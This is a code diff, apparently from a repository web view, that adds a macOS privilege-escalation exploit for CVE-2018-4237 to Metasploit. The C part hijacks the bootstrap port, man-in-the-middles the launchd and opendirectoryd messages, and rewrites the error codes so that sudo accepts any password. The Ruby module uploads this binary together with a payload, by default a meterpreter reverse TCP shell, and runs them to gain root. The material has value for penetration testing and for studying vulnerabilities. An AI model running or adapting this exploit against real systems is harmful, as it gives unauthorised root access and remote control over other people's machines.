#include <signal.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <bootstrap.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#include <spc.h>
|
||||||
|
|
||||||
|
#define TARGET_SERVICE "com.apple.system.opendirectoryd.api"
|
||||||
|
#define SERVICE_NAME "net.saelo.hax"
|
||||||
|
|
||||||
|
// Need to declare this since it's not included in bootstrap.h
|
||||||
|
extern kern_return_t bootstrap_register2(mach_port_t bp, name_t service_name, mach_port_t sp, int flags);
|
||||||
|
|
||||||
|
mach_port_t bootstrap_port, fake_bootstrap_port, fake_service_port, real_service_port;
|
||||||
|
pthread_t fake_service_thread, bridge_threads[2];
|
||||||
|
|
||||||
|
void get_bootstrap_port()
|
||||||
|
{
|
||||||
|
kern_return_t kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Generic XPC bridge. Works only for messages that do not expect a reply.
|
||||||
|
void* bridge_connection(void* arg)
|
||||||
|
{
|
||||||
|
spc_connection_t* bridge = arg;
|
||||||
|
while (1) {
|
||||||
|
spc_message_t* msg = spc_recv(bridge->receive_port);
|
||||||
|
|
||||||
|
msg->local_port.name = MACH_PORT_NULL;
|
||||||
|
msg->local_port.type = 0;
|
||||||
|
msg->remote_port.name = bridge->send_port;
|
||||||
|
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||||
|
|
||||||
|
// Hack 3: replace "error: 5000" with "error: 0" to indicate success
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_lookup(msg->content, "error");
|
||||||
|
if (item)
|
||||||
|
item->value.value.u64 = 0;
|
||||||
|
|
||||||
|
spc_send(msg);
|
||||||
|
|
||||||
|
spc_message_destroy(msg);
|
||||||
|
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* fake_service_main(void* arg)
|
||||||
|
{
|
||||||
|
int ret;
|
||||||
|
|
||||||
|
// Await incoming connection
|
||||||
|
spc_connection_t* client_connection = spc_accept_connection(fake_service_port);
|
||||||
|
spc_connection_t* service_connection = spc_create_connection_mach_port(real_service_port);
|
||||||
|
|
||||||
|
spc_connection_t* bridge_1 = malloc(sizeof(spc_connection_t));
|
||||||
|
spc_connection_t* bridge_2 = malloc(sizeof(spc_connection_t));
|
||||||
|
|
||||||
|
bridge_1->receive_port = client_connection->receive_port;
|
||||||
|
bridge_1->send_port = service_connection->send_port;
|
||||||
|
bridge_2->receive_port = service_connection->receive_port;
|
||||||
|
bridge_2->send_port = client_connection->send_port;
|
||||||
|
|
||||||
|
ret = pthread_create(&bridge_threads[0], NULL, &bridge_connection, bridge_1);
|
||||||
|
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||||
|
|
||||||
|
ret = pthread_create(&bridge_threads[1], NULL, &bridge_connection, bridge_2);
|
||||||
|
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||||
|
|
||||||
|
free(client_connection);
|
||||||
|
free(service_connection);
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void start_fake_service()
|
||||||
|
{
|
||||||
|
kern_return_t kr;
|
||||||
|
|
||||||
|
// Resolve real service port for later
|
||||||
|
kr = bootstrap_look_up(bootstrap_port, TARGET_SERVICE, &real_service_port);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "bootstrap_look_up");
|
||||||
|
|
||||||
|
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_service_port);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||||
|
|
||||||
|
kr = bootstrap_register2(bootstrap_port, SERVICE_NAME, fake_service_port, 0);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "bootstrap_register2");
|
||||||
|
|
||||||
|
// Run the fake service in a separate thread
|
||||||
|
int ret = pthread_create(&fake_service_thread, NULL, &fake_service_main, NULL);
|
||||||
|
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||||
|
}
|
||||||
|
|
||||||
|
void setup_fake_bootstrap_port()
|
||||||
|
{
|
||||||
|
kern_return_t kr;
|
||||||
|
mach_port_t fake_bootstrap_send_port;
|
||||||
|
|
||||||
|
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_bootstrap_port);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||||
|
|
||||||
|
mach_msg_type_name_t aquired_type;
|
||||||
|
kr = mach_port_extract_right(mach_task_self(), fake_bootstrap_port, MACH_MSG_TYPE_MAKE_SEND, &fake_bootstrap_send_port, &aquired_type);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||||
|
|
||||||
|
// Hack 1: replace the bootstrap port of this and all child processes with our own port
|
||||||
|
kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, fake_bootstrap_send_port);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
|
||||||
|
}
|
||||||
|
|
||||||
|
void restore_bootstrap_port()
|
||||||
|
{
|
||||||
|
spc_dictionary_t* msg = spc_dictionary_create();
|
||||||
|
spc_dictionary_t* reply;
|
||||||
|
spc_domain_routine(0x31337, msg, &reply);
|
||||||
|
|
||||||
|
mach_port_t bootstrap_port = spc_dictionary_get_send_port(reply, "original_bootstrap_port");
|
||||||
|
kern_return_t kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, bootstrap_port);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
|
||||||
|
|
||||||
|
spc_dictionary_destroy(msg);
|
||||||
|
spc_dictionary_destroy(reply);
|
||||||
|
}
|
||||||
|
|
||||||
|
void handle_sigchld()
|
||||||
|
{
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Spawn the (privileged) child process with our controlled bootstrap port
|
||||||
|
void spawn_child(const char* self, const char* command)
|
||||||
|
{
|
||||||
|
int stdin_pipe[2];
|
||||||
|
pipe(stdin_pipe);
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid == 0) {
|
||||||
|
close(stdin_pipe[1]);
|
||||||
|
|
||||||
|
// sudo will only preserve the first three file descriptors, so we abuse
|
||||||
|
// stdout to remporarily hold on to stdin.
|
||||||
|
// TODO to fix this we'd have to fetch the original file descriptors
|
||||||
|
// from the parent via XPC.
|
||||||
|
dup2(STDOUT_FILENO, STDERR_FILENO);
|
||||||
|
dup2(STDIN_FILENO, STDOUT_FILENO);
|
||||||
|
dup2(stdin_pipe[0], STDIN_FILENO);
|
||||||
|
|
||||||
|
execl("/usr/bin/sudo", "/usr/bin/sudo", "-p", "", "-S", self, command, NULL);
|
||||||
|
ASSERT_POSIX_SUCCESS(errno, "execl");
|
||||||
|
} else if (pid < 0) {
|
||||||
|
puts("Fork failed");
|
||||||
|
ASSERT_POSIX_SUCCESS(errno, "fork");
|
||||||
|
}
|
||||||
|
close(stdin_pipe[0]);
|
||||||
|
|
||||||
|
struct sigaction sa;
|
||||||
|
sa.sa_handler = &handle_sigchld;
|
||||||
|
sigemptyset(&sa.sa_mask);
|
||||||
|
sa.sa_flags = SA_RESTART | SA_NOCLDSTOP;
|
||||||
|
if (sigaction(SIGCHLD, &sa, 0) == -1) {
|
||||||
|
printf("sigaction failed\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send a "password" so sudo continues
|
||||||
|
write(stdin_pipe[1], "i_can_haz_root\n", 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
void bridge_launchd_connection()
|
||||||
|
{
|
||||||
|
// For launchd messages, libxpc checks that the reply comes from pid 1 and uid 0.
|
||||||
|
// As such, we have to let launchd send the replies directly to our child process.
|
||||||
|
// However, we can manipulate the messages sent to launchd and can thus resolve
|
||||||
|
// services to different (controlled) ports.
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
// Wait for the next bootstrap message from a child process.
|
||||||
|
spc_message_t* msg = spc_recv(fake_bootstrap_port);
|
||||||
|
|
||||||
|
// Special routine: allow child processes to restore the bootstrap port
|
||||||
|
if (spc_dictionary_get_uint64(msg->content, "routine") == 0x31337) {
|
||||||
|
spc_dictionary_t* reply = spc_dictionary_create();
|
||||||
|
spc_dictionary_set_send_port(reply, "original_bootstrap_port", bootstrap_port);
|
||||||
|
spc_reply(msg, reply);
|
||||||
|
spc_message_destroy(msg);
|
||||||
|
spc_dictionary_destroy(reply);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Rewrite source (our child process) and destination (real launchd) of message.
|
||||||
|
msg->local_port.name = msg->remote_port.name;
|
||||||
|
msg->local_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
|
||||||
|
msg->remote_port.name = bootstrap_port;
|
||||||
|
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||||
|
|
||||||
|
// Possibly modify the message before forwarding to launchd
|
||||||
|
if (spc_dictionary_get_send_port(msg->content, "domain-port") == fake_bootstrap_port) {
|
||||||
|
// Must replace our fake bootstrap port in the content of the message with the real one.
|
||||||
|
spc_dictionary_set_send_port(msg->content, "domain-port", bootstrap_port);
|
||||||
|
}
|
||||||
|
if (strcmp(spc_dictionary_get_string(msg->content, "name"), TARGET_SERVICE) == 0) {
|
||||||
|
// Hack 2: resolve the target service to our fake service instead >:)
|
||||||
|
spc_dictionary_set_string(msg->content, "name", SERVICE_NAME);
|
||||||
|
|
||||||
|
// Must also change a few of the other fields of the message...
|
||||||
|
spc_dictionary_set_uint64(msg->content, "flags", 0);
|
||||||
|
spc_dictionary_set_uint64(msg->content, "subsystem", 5);
|
||||||
|
spc_dictionary_set_uint64(msg->content, "routine", 207);
|
||||||
|
spc_dictionary_set_uint64(msg->content, "type", 7);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Forward to launchd
|
||||||
|
spc_send(msg);
|
||||||
|
|
||||||
|
spc_message_destroy(msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char** argv)
|
||||||
|
{
|
||||||
|
if (argc < 2) {
|
||||||
|
printf("Usage: %s command\n", argv[0]);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (getuid() == 0) {
|
||||||
|
// We are being executed by sudo. We now need to restore the original
|
||||||
|
// bootstrap port and stdin fd and then execute the requested command
|
||||||
|
restore_bootstrap_port();
|
||||||
|
dup2(STDOUT_FILENO, STDIN_FILENO);
|
||||||
|
dup2(STDERR_FILENO, STDOUT_FILENO);
|
||||||
|
return execl("/bin/bash", "/bin/bash", "-c", argv[1], NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy command into one string suitable for "bash -c"
|
||||||
|
size_t size = 0;
|
||||||
|
for (int i = 1; i < argc; i++) {
|
||||||
|
size += strlen(argv[i]) + 1;
|
||||||
|
}
|
||||||
|
char* command = calloc(size, 1);
|
||||||
|
for (int i = 1; i < argc; i++) {
|
||||||
|
strlcat(command, argv[i], size);
|
||||||
|
strlcat(command, " ", size); // final whitespace will not be written due to size limit
|
||||||
|
}
|
||||||
|
|
||||||
|
get_bootstrap_port();
|
||||||
|
start_fake_service();
|
||||||
|
setup_fake_bootstrap_port();
|
||||||
|
spawn_child(argv[0], command);
|
||||||
|
bridge_launchd_connection();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -4,6 +4,10 @@ module Msf::Post::OSX::System
|
||||||
include ::Msf::Post::Common
|
include ::Msf::Post::Common
|
||||||
include ::Msf::Post::File
|
include ::Msf::Post::File
|
||||||
|
|
||||||
|
def get_system_version
|
||||||
|
cmd_exec("/usr/bin/sw_vers -productVersion")
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Return a hash with system Information
|
# Return a hash with system Information
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,87 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::OSX::Priv
|
||||||
|
include Msf::Post::OSX::System
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Mac OS X libxpc MITM Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
|
||||||
|
The task_set_special_port API allows callers to overwrite their bootstrap port,
|
||||||
|
which is used to communicate with launchd. This port is inherited across forks:
|
||||||
|
child processes will use the same bootstrap port as the parent.
|
||||||
|
By overwriting the bootstrap port and forking a child processes, we can now gain
|
||||||
|
a MitM position between our child and launchd.
|
||||||
|
|
||||||
|
To gain root we target the sudo binary and intercept its communication with
|
||||||
|
opendirectoryd, which is used by sudo to verify credentials. We modify the
|
||||||
|
replies from opendirectoryd to make it look like our password was valid.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'saelo' ],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2018-4237'],
|
||||||
|
['URL', 'https://github.com/saelo/pwn2own2018'],
|
||||||
|
],
|
||||||
|
'Arch' => [ ARCH_X64 ],
|
||||||
|
'Platform' => 'osx',
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Mac OS X x64 (Native Payload)', { } ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Mar 15 2018'))
|
||||||
|
register_advanced_options [
|
||||||
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_executable_file(filepath, filedata)
|
||||||
|
print_status("Uploading file: '#{filepath}'")
|
||||||
|
write_file(filepath, filedata)
|
||||||
|
chmod(filepath)
|
||||||
|
register_file_for_cleanup(filepath)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
version = Gem::Version.new(get_system_version)
|
||||||
|
if version >= Gem::Version.new('10.13.4')
|
||||||
|
CheckCode::Safe
|
||||||
|
else
|
||||||
|
CheckCode::Appears
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if check != CheckCode::Appears
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||||
|
end
|
||||||
|
|
||||||
|
if is_root?
|
||||||
|
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||||
|
end
|
||||||
|
|
||||||
|
unless writable? datastore['WritableDir']
|
||||||
|
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
||||||
|
end
|
||||||
|
|
||||||
|
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
|
||||||
|
exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
|
||||||
|
upload_executable_file(exploit_file, exploit_data)
|
||||||
|
payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
|
||||||
|
upload_executable_file(payload_file, generate_payload_exe)
|
||||||
|
exploit_cmd = "#{exploit_file} #{payload_file} &"
|
||||||
|
print_status("Executing cmd '#{exploit_cmd}'")
|
||||||
|
cmd_exec(exploit_cmd)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue